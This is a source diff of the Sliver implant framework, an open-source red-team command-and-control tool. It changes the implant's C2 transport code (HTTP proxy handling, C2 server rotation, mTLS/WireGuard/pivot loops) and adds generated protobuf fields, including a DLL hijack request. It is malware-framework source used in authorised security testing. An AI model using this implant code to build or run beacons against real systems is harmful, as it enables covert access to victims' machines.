curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
genSegments := []string{}
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
if 0 < len(segments) {
|
||||
n := insecureRand.Intn(len(segments)) // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
genSegments = append(genSegments, filename)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
return genSegments
|
||||
}
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
httpTransport := &http.Transport{
|
||||
func httpClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: defaultNetTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
@@ -356,31 +453,15 @@ func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: httpTransport,
|
||||
Transport: transport,
|
||||
},
|
||||
}
|
||||
if useProxy {
|
||||
p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "http"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
httpTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
netTransport := &http.Transport{
|
||||
func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: defaultNetTimeout,
|
||||
}).Dial,
|
||||
@@ -392,10 +473,20 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: netTransport,
|
||||
Transport: transport,
|
||||
},
|
||||
}
|
||||
if useProxy {
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -408,11 +499,26 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
netTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
return client
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
|
||||
@@ -33,7 +33,6 @@ import (
|
||||
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -63,9 +62,9 @@ func socketWritePing(connection *tls.Conn) error {
|
||||
// {{end}}
|
||||
|
||||
// We don't need a real nonce here, we just need to write to the socket
|
||||
pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
|
||||
envelope := sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
|
||||
envelope := pb.Envelope{
|
||||
Type: pb.MsgPing,
|
||||
Data: pingBuf,
|
||||
}
|
||||
return socketWriteEnvelope(connection, &envelope)
|
||||
@@ -152,7 +151,6 @@ func getTLSConfig() *tls.Config {
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: rootOnlyVerifyCertificate,
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ const (
|
||||
writeBufSizeTCP = 1024
|
||||
)
|
||||
|
||||
func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
|
||||
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
+15
-15
@@ -1,8 +1,10 @@
|
||||
package shell
|
||||
//go:build !windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -16,21 +18,19 @@ package shell
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions when compiling to
|
||||
non-Windows platforms.
|
||||
|
||||
*/
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
import (
|
||||
"errors"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
func namedPipeConnect(_ *url.URL) (*Connection, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
@@ -19,10 +19,10 @@ package transports
|
||||
*/
|
||||
|
||||
import (
|
||||
insecureRand "math/rand"
|
||||
|
||||
// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
|
||||
"net"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -33,6 +33,7 @@ import (
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
"errors"
|
||||
// {{end}}
|
||||
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -40,7 +41,6 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
@@ -107,6 +107,10 @@ type Tunnel struct {
|
||||
WriteSequence uint64
|
||||
}
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
@@ -130,8 +134,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
}
|
||||
|
||||
func (c *Connection) RequestResend(data []byte) {
|
||||
c.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
c.Send <- &pb.Envelope{
|
||||
Type: pb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -289,14 +293,45 @@ func GetActiveConnection() *Connection {
|
||||
}
|
||||
|
||||
func nextCCServer() *url.URL {
|
||||
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case "r": // Random
|
||||
next = ccServers[insecureRand.Intn(len(ccServers))]
|
||||
case "rd": // Random Domain
|
||||
next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
|
||||
case "s": // Sequential
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
default:
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
}
|
||||
*ccCounter++
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return nextCCServer()
|
||||
}
|
||||
return uri
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if uri.Scheme == protocol {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
}
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
func GetReconnectInterval() time.Duration {
|
||||
if reconnectInterval == -1 {
|
||||
@@ -400,12 +435,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWritePing(conn)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -490,12 +525,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWGWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWGWritePing(conn)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -524,12 +559,13 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -WGc2Enabled
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
func httpConnect(c2URI *url.URL) (*Connection, error) {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connecting -> http(s)://%s", uri.Host)
|
||||
log.Printf("Connecting -> http(s)://%s", c2URI.Host)
|
||||
// {{end}}
|
||||
client, err := HTTPStartSession(uri.Host, uri.Path)
|
||||
proxyConfig := c2URI.Query().Get("proxy")
|
||||
client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("http(s) connection error %v", err)
|
||||
@@ -572,37 +608,52 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
errCount := 0 // Number of sequential errors
|
||||
for {
|
||||
select {
|
||||
case <-ctrl:
|
||||
return
|
||||
default:
|
||||
resp, err := client.Poll()
|
||||
switch err := err.(type) {
|
||||
switch errType := err.(type) {
|
||||
case nil:
|
||||
errCount = 0
|
||||
if len(resp) == 0 {
|
||||
continue
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
proto.Unmarshal(resp, envelope)
|
||||
err = proto.Unmarshal(resp, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode pb: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
recv <- envelope
|
||||
case net.Error:
|
||||
if err.Timeout() {
|
||||
case *url.Error:
|
||||
errCount++
|
||||
if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("non-fatal error, continue")
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
// {{end}}
|
||||
continue
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
}
|
||||
return
|
||||
case *url.Error:
|
||||
if err, ok := err.Err.(net.Error); ok && err.Timeout() {
|
||||
case net.Error:
|
||||
errCount++
|
||||
if errType.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("non-fatal error, continue")
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
// {{end}}
|
||||
continue
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
}
|
||||
return
|
||||
default:
|
||||
errCount++
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] error: %#v", err)
|
||||
// {{end}}
|
||||
@@ -671,64 +722,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
// {{end}} - .DNSc2Enabled
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
|
||||
@@ -763,7 +756,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
tcpPivoteWriteEnvelope(&conn, envelope)
|
||||
tcpPivotWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -789,7 +782,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -TCPPivotc2Enabled
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
package version
|
||||
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
package shell
|
||||
//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -16,21 +18,14 @@ package shell
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions in generic builds.
|
||||
|
||||
*/
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,5 +1,25 @@
|
||||
//go:build amd64 || 386
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
//{{if .Config.Debug}}
|
||||
|
||||
+276
-74
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v3.17.3
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -666,6 +666,7 @@ type ImplantConfig struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
|
||||
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
|
||||
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
@@ -684,18 +685,19 @@ type ImplantConfig struct {
|
||||
MaxConnectionErrors uint32 `protobuf:"varint,9,opt,name=MaxConnectionErrors,proto3" json:"MaxConnectionErrors,omitempty"`
|
||||
PollInterval uint32 `protobuf:"varint,38,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
// c2
|
||||
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
|
||||
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
|
||||
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
|
||||
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
|
||||
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
|
||||
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
|
||||
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
|
||||
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
|
||||
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
|
||||
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
|
||||
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
|
||||
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
|
||||
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
|
||||
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
|
||||
ConnectionStrategy string `protobuf:"bytes,39,opt,name=ConnectionStrategy,proto3" json:"ConnectionStrategy,omitempty"`
|
||||
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
|
||||
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
|
||||
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
|
||||
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
|
||||
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
|
||||
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
|
||||
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
|
||||
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
|
||||
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
|
||||
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) Reset() {
|
||||
@@ -730,6 +732,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetID() string {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetGOOS() string {
|
||||
if x != nil {
|
||||
return x.GOOS
|
||||
@@ -863,6 +872,13 @@ func (x *ImplantConfig) GetCanaryDomains() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetConnectionStrategy() string {
|
||||
if x != nil {
|
||||
return x.ConnectionStrategy
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetLimitDomainJoined() bool {
|
||||
if x != nil {
|
||||
return x.LimitDomainJoined
|
||||
@@ -4714,6 +4730,141 @@ func (x *AllHosts) GetHosts() []*Host {
|
||||
return nil
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
type DllHijackReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ReferenceDLLPath string `protobuf:"bytes,1,opt,name=ReferenceDLLPath,proto3" json:"ReferenceDLLPath,omitempty"`
|
||||
TargetLocation string `protobuf:"bytes,2,opt,name=TargetLocation,proto3" json:"TargetLocation,omitempty"`
|
||||
ReferenceDLL []byte `protobuf:"bytes,3,opt,name=ReferenceDLL,proto3" json:"ReferenceDLL,omitempty"`
|
||||
TargetDLL []byte `protobuf:"bytes,4,opt,name=TargetDLL,proto3" json:"TargetDLL,omitempty"`
|
||||
ProfileName string `protobuf:"bytes,5,opt,name=ProfileName,proto3" json:"ProfileName,omitempty"`
|
||||
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) Reset() {
|
||||
*x = DllHijackReq{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[65]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DllHijackReq) ProtoMessage() {}
|
||||
|
||||
func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[65]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
|
||||
func (*DllHijackReq) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{65}
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetReferenceDLLPath() string {
|
||||
if x != nil {
|
||||
return x.ReferenceDLLPath
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetTargetLocation() string {
|
||||
if x != nil {
|
||||
return x.TargetLocation
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetReferenceDLL() []byte {
|
||||
if x != nil {
|
||||
return x.ReferenceDLL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetTargetDLL() []byte {
|
||||
if x != nil {
|
||||
return x.TargetDLL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetProfileName() string {
|
||||
if x != nil {
|
||||
return x.ProfileName
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetRequest() *commonpb.Request {
|
